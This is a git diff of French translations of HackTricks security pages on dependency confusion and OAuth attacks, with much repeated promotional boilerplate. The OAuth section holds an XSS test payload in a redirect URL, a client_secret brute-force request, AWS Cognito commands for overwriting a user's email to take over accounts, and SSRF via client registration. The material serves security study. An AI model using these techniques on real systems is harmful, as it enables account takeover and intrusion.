|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,21 +4,26 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Informations de base
|
||||
|
||||
En résumé, une vulnérabilité de confusion de dépendance se produit lorsqu'un projet utilise une bibliothèque avec un nom **mal orthographié**, **inexistant** ou avec une **version non spécifiée** et que le référentiel de dépendances utilisé permet de **rassembler des versions mises à jour à partir de référentiels publics**.
|
||||
|
||||
* **Mal orthographié** : Importez **`reqests`** au lieu de `requests`
|
||||
* **Inexistant** : Importez `company-logging`, une bibliothèque interne qui **n'existe plus**
|
||||
* **Version non spécifiée** : Importez une bibliothèque **interne** **existante** `company-requests`, mais le référentiel vérifie les **dépôts publics** pour voir s'il existe des **versions supérieures**.
|
||||
* **Version non spécifiée** : Importez une bibliothèque **interne existante** `company-requests`, mais le référentiel vérifie les **dépôts publics** pour voir s'il existe des **versions supérieures**.
|
||||
|
||||
## Exploitation
|
||||
|
||||
|
@ -28,11 +33,11 @@ Dans tous les cas, l'attaquant a juste besoin de publier un **paquet malveillant
|
|||
|
||||
### Mal orthographié & Inexistant
|
||||
|
||||
Si votre entreprise essaie d'**importer une bibliothèque qui n'est pas interne**, il est très probable que le référentiel des bibliothèques va la chercher dans les **dépôts publics**. Si un attaquant l'a créée, votre code et vos machines en cours d'exécution seront très probablement compromis.
|
||||
Si votre entreprise essaie d'**importer une bibliothèque qui n'est pas interne**, il est très probable que le référentiel des bibliothèques la recherche dans les **dépôts publics**. Si un attaquant l'a créée, votre code et vos machines en cours d'exécution seront très probablement compromis.
|
||||
|
||||
### Version non spécifiée
|
||||
|
||||
Il est très courant que les développeurs **ne spécifient pas de version** de la bibliothèque utilisée, ou spécifient juste une **version majeure**. Ensuite, l'interprète va essayer de télécharger la **dernière version** correspondant à ces exigences.\
|
||||
Il est très courant que les développeurs **ne spécifient pas de version** de la bibliothèque utilisée, ou spécifient juste une **version majeure**. Ensuite, l'interpréteur essaiera de télécharger la **dernière version** répondant à ces exigences.\
|
||||
Si la bibliothèque est une **bibliothèque externe connue** (comme `requests` en python), un **attaquant ne peut pas faire grand-chose**, car il ne pourra pas créer une bibliothèque appelée `requests` (à moins qu'il ne soit l'auteur original).\
|
||||
Cependant, si la bibliothèque est **interne**, comme `requests-company` dans cet exemple, si le **référentiel de la bibliothèque** permet de **vérifier également les nouvelles versions de manière externe**, il recherchera une version plus récente disponible publiquement.\
|
||||
Donc si un **attaquant sait** que l'entreprise utilise la bibliothèque `requests-company` **version 1.0.1** (autorise les mises à jour mineures), il peut **publier** la bibliothèque `requests-company` **version 1.0.2** et l'entreprise **utilisera cette bibliothèque à la place** de la interne.
|
||||
|
@ -44,21 +49,25 @@ AWS a corrigé cela en permettant de spécifier si une bibliothèque est interne
|
|||
|
||||
## Recherche de bibliothèques vulnérables
|
||||
|
||||
Dans le [**billet original sur la confusion de dépendance**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610), l'auteur a recherché des milliers de fichiers package.json exposés contenant les dépendances de projets JavaScript.
|
||||
Dans le [**billet original sur la confusion de dépendance**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610), l'auteur a recherché des milliers de fichiers package.json exposés contenant les dépendances des projets JavaScript.
|
||||
|
||||
## Références
|
||||
|
||||
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
||||
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,29 +9,34 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Informations de base <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth propose différentes versions, avec des informations fondamentales accessibles sur la [documentation OAuth 2.0](https://oauth.net/2/). Cette discussion se concentre principalement sur le largement utilisé [type de subvention de code d'autorisation OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fournissant un **cadre d'autorisation permettant à une application d'accéder ou d'effectuer des actions sur le compte d'un utilisateur dans une autre application** (le serveur d'autorisation).
|
||||
OAuth propose différentes versions, avec des informations fondamentales accessibles sur la [documentation OAuth 2.0](https://oauth.net/2/). Cette discussion se concentre principalement sur le largement utilisé [type de subvention de code d'autorisation OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fournissant un **cadre d'autorisation qui permet à une application d'accéder ou d'effectuer des actions sur le compte d'un utilisateur dans une autre application** (le serveur d'autorisation).
|
||||
|
||||
Considérons un site web hypothétique _**https://example.com**_, conçu pour **présenter tous vos messages sur les réseaux sociaux**, y compris les privés. Pour ce faire, OAuth 2.0 est utilisé. _https://example.com_ demandera votre autorisation pour **accéder à vos messages sur les réseaux sociaux**. Par conséquent, un écran de consentement apparaîtra sur _https://socialmedia.com_, détaillant les **autorisations demandées et le développeur faisant la demande**. Après votre autorisation, _https://example.com_ acquiert la capacité d'**accéder à vos messages en votre nom**.
|
||||
Considérez un site web hypothétique _**https://exemple.com**_, conçu pour **présenter tous vos messages sur les réseaux sociaux**, y compris les privés. Pour ce faire, OAuth 2.0 est utilisé. _https://exemple.com_ demandera votre autorisation pour **accéder à vos messages sur les réseaux sociaux**. Par conséquent, un écran de consentement apparaîtra sur _https://reseauxocial.com_, détaillant les **autorisations demandées et le développeur faisant la demande**. Après votre autorisation, _https://exemple.com_ acquiert la capacité d'**accéder à vos messages en votre nom**.
|
||||
|
||||
Il est essentiel de comprendre les composants suivants dans le cadre OAuth 2.0 :
|
||||
|
||||
- **propriétaire de la ressource** : Vous, en tant qu'**utilisateur/entité**, autorisez l'accès à votre ressource, comme vos messages de compte sur les réseaux sociaux.
|
||||
- **serveur de ressources** : Le **serveur gérant les demandes authentifiées** après que l'application a obtenu un `jeton d'accès` au nom du `propriétaire de la ressource`, par exemple, **https://socialmedia.com**.
|
||||
- **application cliente** : L'**application demandant l'autorisation** du `propriétaire de la ressource`, comme **https://example.com**.
|
||||
- **serveur d'autorisation** : Le **serveur qui délivre des `jetons d'accès`** à l'`application cliente` après l'authentification réussie du `propriétaire de la ressource` et la sécurisation de l'autorisation, par exemple, **https://socialmedia.com**.
|
||||
- **serveur de ressources** : Le **serveur gérant les demandes authentifiées** après que l'application a obtenu un `jeton d'accès` au nom du `propriétaire de la ressource`, par exemple, **https://reseauxocial.com**.
|
||||
- **application cliente** : L'**application demandant l'autorisation** du `propriétaire de la ressource`, comme **https://exemple.com**.
|
||||
- **serveur d'autorisation** : Le **serveur qui délivre des `jetons d'accès`** à l'`application cliente` après l'authentification réussie du `propriétaire de la ressource` et la sécurisation de l'autorisation, par exemple, **https://reseauxocial.com**.
|
||||
- **client_id** : Un identifiant public et unique pour l'application.
|
||||
- **client_secret** : Une clé confidentielle, connue uniquement de l'application et du serveur d'autorisation, utilisée pour générer des `jetons d'accès`.
|
||||
- **response_type** : Une valeur spécifiant **le type de jeton demandé**, comme `code`.
|
||||
- **scope** : Le **niveau d'accès** demandé par l'`application cliente` au `propriétaire de la ressource`.
|
||||
- **redirect_uri** : L'**URL vers laquelle l'utilisateur est redirigé après autorisation**. Cela doit généralement correspondre à l'URL de redirection préalablement enregistrée.
|
||||
- **state** : Un paramètre pour **maintenir des données lors de la redirection de l'utilisateur vers et depuis le serveur d'autorisation**. Sa singularité est cruciale pour servir de **mécanisme de protection CSRF**.
|
||||
- **redirect_uri** : L'**URL vers laquelle l'utilisateur est redirigé après autorisation**. Cela doit généralement correspondre à l'URL de redirection préenregistrée.
|
||||
- **state** : Un paramètre pour **conserver des données lors de la redirection de l'utilisateur vers et depuis le serveur d'autorisation**. Sa singularité est cruciale pour servir de **mécanisme de protection CSRF**.
|
||||
- **grant_type** : Un paramètre indiquant **le type de subvention et le type de jeton à renvoyer**.
|
||||
- **code** : Le code d'autorisation du `serveur d'autorisation`, utilisé conjointement avec `client_id` et `client_secret` par l'application cliente pour acquérir un `jeton d'accès`.
|
||||
- **access_token** : Le **jeton que l'application cliente utilise pour les requêtes API** au nom du `propriétaire de la ressource`.
|
||||
|
@ -41,8 +46,8 @@ Il est essentiel de comprendre les composants suivants dans le cadre OAuth 2.0 :
|
|||
|
||||
Le **flux OAuth réel** se déroule comme suit :
|
||||
|
||||
1. Vous accédez à [https://example.com](https://example.com) et sélectionnez le bouton "Intégrer avec les réseaux sociaux".
|
||||
2. Le site envoie ensuite une demande à [https://socialmedia.com](https://socialmedia.com) vous demandant l'autorisation de permettre à l'application de https://example.com d'accéder à vos messages. La demande est structurée comme suit :
|
||||
1. Vous accédez à [https://exemple.com](https://exemple.com) et sélectionnez le bouton "Intégrer avec les réseaux sociaux".
|
||||
2. Le site envoie ensuite une demande à [https://reseauxocial.com](https://reseauxocial.com) vous demandant l'autorisation de permettre à l'application de https://exemple.com d'accéder à vos messages. La demande est structurée comme suit :
|
||||
```
|
||||
https://socialmedia.com/auth
|
||||
?response_type=code
|
||||
|
@ -73,25 +78,25 @@ Le `redirect_uri` est crucial pour la sécurité dans les implémentations OAuth
|
|||
|
||||
Les techniques d'exploitation varient en fonction de la logique de validation du serveur d'autorisation. Elles peuvent aller de la correspondance stricte des chemins à l'acceptation de n'importe quelle URL dans le domaine ou le sous-répertoire spécifié. Les méthodes d'exploitation courantes incluent les redirections ouvertes, la traversée de chemin, l'exploitation de regex faibles et l'injection HTML pour le vol de jetons.
|
||||
|
||||
Outre `redirect_uri`, d'autres paramètres OAuth et OpenID comme `client_uri`, `policy_uri`, `tos_uri` et `initiate_login_uri` sont également susceptibles d'être attaqués par redirection. Ces paramètres sont facultatifs et leur prise en charge varie selon les serveurs.
|
||||
Outre `redirect_uri`, d'autres paramètres OAuth et OpenID comme `client_uri`, `policy_uri`, `tos_uri` et `initiate_login_uri` sont également susceptibles aux attaques de redirection. Ces paramètres sont facultatifs et leur prise en charge varie selon les serveurs.
|
||||
|
||||
Pour ceux ciblant un serveur OpenID, le point de découverte (`**.well-known/openid-configuration**`) liste souvent des détails de configuration précieux comme `registration_endpoint`, `request_uri_parameter_supported` et "`require_request_uri_registration`. Ces détails peuvent aider à identifier le point de registre et d'autres spécificités de configuration du serveur.
|
||||
|
||||
### XSS dans l'implémentation de redirection <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Comme mentionné dans ce rapport de prime au bogue [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), il est possible que l'**URL de redirection soit reflétée dans la réponse** du serveur après l'authentification de l'utilisateur, étant **vulnérable aux XSS**. Charge utile possible à tester:
|
||||
Comme mentionné dans ce rapport de prime de bug [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), il est possible que l'**URL de redirection soit reflétée dans la réponse** du serveur après l'authentification de l'utilisateur, étant **vulnérable aux XSS**. Charge utile possible à tester:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
### CSRF - Gestion incorrecte du paramètre d'état <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Dans les implémentations OAuth, l'utilisation incorrecte ou l'omission du **paramètre `state`** peut augmenter considérablement le risque d'attaques de **falsification de requête intersite (CSRF)**. Cette vulnérabilité survient lorsque le paramètre `state` n'est **pas utilisé, utilisé comme une valeur statique, ou non correctement validé**, permettant aux attaquants de contourner les protections CSRF.
|
||||
Dans les implémentations OAuth, l'utilisation incorrecte ou l'omission du **paramètre `state`** peut augmenter considérablement le risque d'attaques de **falsification de requête inter-sites (CSRF)**. Cette vulnérabilité survient lorsque le paramètre `state` n'est **pas utilisé, utilisé comme une valeur statique, ou pas correctement validé**, permettant aux attaquants de contourner les protections CSRF.
|
||||
|
||||
Les attaquants peuvent exploiter cela en interceptant le processus d'autorisation pour lier leur compte à celui d'une victime, entraînant des **prises de contrôle de compte potentielles**. Cela est particulièrement critique dans les applications où OAuth est utilisé à des fins d'**authentification**.
|
||||
|
||||
Des exemples concrets de cette vulnérabilité ont été documentés dans divers **défis CTF** et **plateformes de piratage**, mettant en évidence ses implications pratiques. Le problème s'étend également aux intégrations avec des services tiers tels que **Slack**, **Stripe** et **PayPal**, où les attaquants peuvent rediriger des notifications ou des paiements vers leurs comptes.
|
||||
|
||||
La gestion et la validation appropriées du **paramètre `state`** sont cruciales pour se protéger contre les CSRF et sécuriser le flux OAuth.
|
||||
La gestion et la validation appropriées du **paramètre `state`** sont cruciales pour se protéger contre le CSRF et sécuriser le flux OAuth.
|
||||
|
||||
### Préprise de contrôle de compte <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
|
@ -107,7 +112,7 @@ Une vulnérabilité courante survient lorsque les applications gèrent incorrect
|
|||
|
||||
### Bruteforce du secret client
|
||||
|
||||
Vous pouvez essayer de **bruteforcer le client\_secret** d'un fournisseur de services avec le fournisseur d'identité afin de tenter de voler des comptes.\
|
||||
Vous pouvez essayer de **bruteforcer le `client_secret`** d'un fournisseur de services avec le fournisseur d'identité afin de tenter de voler des comptes.\
|
||||
La requête de BF peut ressembler à :
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
|
@ -120,7 +125,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
|||
```
|
||||
### En-tête Referer divulguant Code + State
|
||||
|
||||
Une fois que le client a le **code et l'état**, s'il est **reflété dans l'en-tête Referer** lorsqu'il navigue vers une autre page, alors il est vulnérable.
|
||||
Une fois que le client a le **code et l'état**, s'ils sont **reflétés dans l'en-tête Referer** lorsqu'il navigue vers une autre page, alors il est vulnérable.
|
||||
|
||||
### Jeton d'accès stocké dans l'historique du navigateur
|
||||
|
||||
|
@ -140,7 +145,7 @@ Si vous pouvez obtenir le **code d'autorisation et l'utiliser avec un client dif
|
|||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Dans ce rapport de prime de bug : [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/), vous pouvez voir que le **jeton** que **AWS Cognito** renvoie à l'utilisateur pourrait avoir **suffisamment de permissions pour écraser les données utilisateur**. Par conséquent, si vous pouvez **changer l'e-mail de l'utilisateur pour un e-mail d'utilisateur différent**, vous pourriez être en mesure de **prendre le contrôle** d'autres comptes.
|
||||
Dans ce rapport de prime au bogue : [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/), vous pouvez voir que le **jeton** qu'**AWS Cognito** renvoie à l'utilisateur pourrait avoir **des autorisations suffisantes pour écraser les données utilisateur**. Par conséquent, si vous pouvez **changer l'e-mail de l'utilisateur pour un e-mail d'utilisateur différent**, vous pourriez être en mesure de **prendre le contrôle** d'autres comptes.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
|
@ -165,10 +170,10 @@ Pour plus d'informations détaillées sur la manière d'abuser d'AWS Cognito, co
|
|||
|
||||
Comme [**mentionné dans cet article**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), les flux OAuth qui s'attendent à recevoir le **jeton** (et non un code) pourraient être vulnérables s'ils ne vérifient pas que le jeton appartient à l'application.
|
||||
|
||||
Cela est dû au fait qu'un **attaquant** pourrait créer une **application prenant en charge OAuth et se connecter avec Facebook** (par exemple) dans sa propre application. Ensuite, une fois qu'une victime se connecte avec Facebook dans l'**application de l'attaquant**, l'attaquant pourrait obtenir le **jeton OAuth de l'utilisateur donné à son application, et l'utiliser pour se connecter à l'application OAuth de la victime en utilisant le jeton de l'utilisateur de la victime**.
|
||||
Cela est dû au fait qu'un **attaquant** pourrait créer une **application prenant en charge OAuth et se connecter avec Facebook** (par exemple) dans son propre application. Ensuite, une fois qu'une victime se connecte avec Facebook dans l'**application de l'attaquant**, l'attaquant pourrait obtenir le **jeton OAuth de l'utilisateur donné à son application, et l'utiliser pour se connecter à l'application OAuth de la victime en utilisant le jeton de l'utilisateur de la victime**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Par conséquent, si l'attaquant parvient à obtenir l'accès de l'utilisateur à sa propre application OAuth, il pourra prendre le contrôle du compte de la victime dans les applications qui attendent un jeton et ne vérifient pas si le jeton a été accordé à leur ID d'application.
|
||||
Par conséquent, si l'attaquant parvient à amener l'utilisateur à accéder à son propre application OAuth, il pourra prendre le contrôle du compte de la victime dans les applications qui attendent un jeton et ne vérifient pas si le jeton a été accordé à leur ID d'application.
|
||||
{% endhint %}
|
||||
|
||||
### Deux liens et cookie <a href="#bda5" id="bda5"></a>
|
||||
|
@ -185,18 +190,18 @@ L'enregistrement dynamique du client dans OAuth sert de vecteur moins évident m
|
|||
|
||||
**Points clés :**
|
||||
|
||||
- L'enregistrement dynamique du client est souvent associé à `/register` et accepte des détails tels que `client_name`, `client_secret`, `redirect_uris`, et des URLs pour des logos ou des ensembles de clés JSON Web (JWKs) via des requêtes POST.
|
||||
- L'enregistrement dynamique du client est souvent associé à `/register` et accepte des détails tels que `client_name`, `client_secret`, `redirect_uris`, et des URL pour des logos ou des ensembles de clés Web JSON (JWKs) via des requêtes POST.
|
||||
- Cette fonctionnalité respecte les spécifications énoncées dans **RFC7591** et **OpenID Connect Registration 1.0**, qui incluent des paramètres potentiellement vulnérables aux SSRF.
|
||||
- Le processus d'enregistrement peut exposer involontairement les serveurs aux SSRF de plusieurs manières :
|
||||
- **`logo_uri`** : Une URL pour le logo de l'application cliente qui pourrait être récupéré par le serveur, déclenchant un SSRF ou conduisant à une XSS si l'URL est mal gérée.
|
||||
- **`logo_uri`** : Une URL pour le logo de l'application cliente qui pourrait être récupérée par le serveur, déclenchant un SSRF ou conduisant à une XSS si l'URL est mal gérée.
|
||||
- **`jwks_uri`** : Une URL vers le document JWK du client, qui s'il est malveillamment conçu, peut amener le serveur à effectuer des requêtes sortantes vers un serveur contrôlé par l'attaquant.
|
||||
- **`sector_identifier_uri`** : Fait référence à un tableau JSON de `redirect_uris`, que le serveur pourrait récupérer, créant une opportunité de SSRF.
|
||||
- **`request_uris`** : Liste les URI de requête autorisés pour le client, qui peuvent être exploités si le serveur récupère ces URIs au début du processus d'autorisation.
|
||||
|
||||
**Stratégie d'exploitation :**
|
||||
|
||||
- Le SSRF peut être déclenché en enregistrant un nouveau client avec des URLs malveillantes dans des paramètres tels que `logo_uri`, `jwks_uri`, ou `sector_identifier_uri`.
|
||||
- Bien que l'exploitation directe via `request_uris` puisse être atténuée par des contrôles de liste blanche, fournir un `request_uri` préenregistré et contrôlé par l'attaquant peut faciliter le SSRF pendant la phase d'autorisation.
|
||||
- Un SSRF peut être déclenché en enregistrant un nouveau client avec des URL malveillantes dans des paramètres tels que `logo_uri`, `jwks_uri`, ou `sector_identifier_uri`.
|
||||
- Bien que l'exploitation directe via `request_uris` puisse être atténuée par des contrôles de liste blanche, fournir un `request_uri` préenregistré et contrôlé par l'attaquant peut faciliter un SSRF pendant la phase d'autorisation.
|
||||
|
||||
## Conditions de course des fournisseurs OAuth
|
||||
|
||||
|
@ -207,16 +212,21 @@ Si la plateforme que vous testez est un fournisseur OAuth, [**lisez ceci pour te
|
|||
* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
||||
* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**dépôts Github HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,14 +9,19 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# Aperçu de la pollution de paramètres HTTP (HPP)
|
||||
|
||||
